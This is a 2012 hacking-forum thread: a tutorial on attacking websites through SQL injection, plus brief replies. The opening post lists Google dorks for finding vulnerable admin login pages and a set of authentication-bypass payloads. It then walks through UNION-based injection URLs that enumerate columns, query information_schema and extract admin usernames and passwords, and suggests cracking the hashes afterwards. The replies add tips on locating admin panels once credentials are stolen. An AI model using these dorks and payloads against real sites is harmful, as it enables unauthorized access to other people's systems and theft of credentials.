

Forum:[Hack Forums](#)

Thread: [Basic and Full SQL Injection Tutorial \[Hot\]](#)

Fb_Rocks - December 26, 2012, 1:27 pm

Q what is sql injection?

A injecting sql queries into another database or using queries to get auth bypass as an admin.

part 1 : Basic sql injection

Gaining auth bypass on an admin account.

Most sites vulnerable to this are .asp

First we need 2 find a site, start by opening google.

Now we type our dork: "defenition of dork" 'a search entry for a certain type of site/exploit .ect'

There is a large number of google dork for basic sql injection.

here is the best:

"inurl:admin.asp"

"inurl:login/admin.asp"

"inurl:admin/login.asp"

"inurl:adminlogin.asp"

"inurl:adminhome.asp"

"inurl:admin_login.asp"

"inurl:administratorlogin.asp"

"inurl:login/administrator.asp"

"inurl:administrator_login.asp"

Now what to do once we get to our site.

the site should look something like this :

welcome to xxxxxxxxxx administrator panel

username :

password :

so what we do here is in the username we always type "Admin"

and for our password we type our sql injection

here is a list of sql injections

' or '1'='1

' or 'x'='x

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

) or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

) or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

'or'1=1'

there are many more but these are the best ones that i know of
and what this sql injection is doing : confusing the fuck out of the database till it gives you auth
bypass.

So your input should look like this

username:Admin

password:'or'1='1

So click submit and you'r in
NOTE not all sites are vulnerable.

part 2: injecting sql queries to extract the admin username and password

ok so lets say we have a site :

<http://www.xxxxx.com/index.php?catid=1>

there is a list of dork 4 sites lyk this

"inurl:index.php?catid="

"inurl:news.php?catid="

"inurl:index.php?id="

"inurl:news.php?id="

or the best in my view "full credit to qabandi for discovering this"

"inurl:".php?catid=" site:xxx"

So once you have your site

<http://www.xxxx.com/index.php?catid=1>

now we add a ' to the end of the url

so the site is

<http://www.xxxx.com/index.php?catid=1>'

if there is an error of some sort then it is vulnerable

now we need to find the number of columns in the sql database

so we type

<http://www.xxxx.com/index.php?catid=1> order by 1-- "no error"

<http://www.xxxx.com/index.php?catid=1> order by 2-- "no error"

<http://www.xxxx.com/index.php?catid=1> order by 3-- "no error"

<http://www.xxxx.com/index.php?catid=1> order by 4-- "no error"

<http://www.xxxx.com/index.php?catid=1> order by 5-- "error"

so this database has 4 columns because we got an error on 5

on some databases there is 2 columns and on some 200 it varies

so once we have the column number.

we try the union function

<http://www.xxxx.com/index.php?catid=1> union select 1,2,3,4-- "or whatever number of columns are in the database"

if you see some numbers like 1 2 3 4 on the screen or the column names

it might not show all numbers on the screen but the numbers displayed are the ones you can

replace to extract info from the db

so now we need to info about the db

so lets say the numbers 2 and 4 showed up on the screen

so i will use my query on 2

<http://www.xxxx.com/index.php?catid=1> union select

1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4--

the db type and version will pop up on the screen

if the db version is 4 or lower then to extract the password you will need these queries

<http://www.xxxx.com/index.php?catid=-1> UNION SELECT

1,concat(table_name,CHAR(58),column_name,CHAR(58), table_schema) from

information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37),3,4--

this should display the table containing the admin username and password

but if not then you will have to guess the table

so once you have your table "or not"

then type

<http://www.xxxx.com/index.php?catid=1> UNION SELECT 1,password,3,4 FROM admintablename--

where it says admintablename type the table you found with

concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from

information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37)-- or your guess

then once u have the right table name you should get the administrator password

then just do the same thing but type username instead of password

sometimes the password is hashed and you need to crack it.

then see if you can get the admin panel if you cant then try the admin panel finder script here 404

Page Not Found

now if the database is version 5 or up

type

<http://www.xxxx.com/index.php?catid=-1> UNION SELECT 1,table_name,3,4 FROM

information_schema.tables--

and that will display a list of all the tables

once you have your table name

type the same thing as 4

<http://www.xxxx.com/index.php?catid=1> UNION SELECT 1,password,3,4 FROM admintable--

then the same with username

but now if it doesnt work far all those things

just tootoo around with all the little catid=1 or catid=-1 or instead of -- put /* or even nothing

just play around with those

but sometimes we also need to use the version() or version@@

so sometimes UNION SELECT version (),password,3,4 FROM admintable--

or UNION SELECT version @@,password,3,4 FROM admintable--

well that about wraps up my sql injection tutorial.

credit goes to : <http://www.bitshacking.com>

phybe? - December 26, 2012, 1:28 pm

Mind enlightening me on how this thread is "[Hot]"?

atlasoffishial - December 26, 2012, 1:29 pm

(Dec 26, 2012 02:28 PM)phybe? Wrote: [\[CITE\]](#) Mind enlightening me on how this thread is "[Hot]"?
www.xxxx.com it's very hot i confirm lol

EOBOTS - December 26, 2012, 1:48 pm

Does this mean I can hack google.com?

electro7bug - December 26, 2012, 3:17 pm

hahaha.. i would like to ask a question, what'll happen next after getting the pass and user if the site do not have a cpanel?

Fb_Rocks - January 6, 2013, 9:37 pm

(Dec 26, 2012 04:17 PM)electro7bug Wrote: [\[CITE\]](#) hahaha.. i would like to ask a question, what'll happen next after getting the pass and user if the site do not have a cpanel?
brother you can use any best adminfinder tool to get the panel

Dastoks - January 7, 2013, 3:48 am

well its looks to me that its copied 1 by 1 from one of the guides here..

any way, its the exact same thing all other guides, yet it has no pictures, no example's, and arranged badly to read (in my opinion)

anyway, thanks

Oddissee - January 7, 2013, 8:10 pm

Great guide in my opinion. Helps for begginers who really don't know how to SQL Inject a site, obviously it doesn't work on well-programmed websites. Rep+

Fb_Rocks - January 25, 2013, 12:49 pm

(Jan 7, 2013 09:10 PM)Guillermo Wrote: [\[CITE\]](#) Great guide in my opinion. Helps for begginers who really don't know how to SQL Inject a site, obviously it doesn't work on well-programmed websites. Rep+

thank you Guillermo for your good response and feedback :)

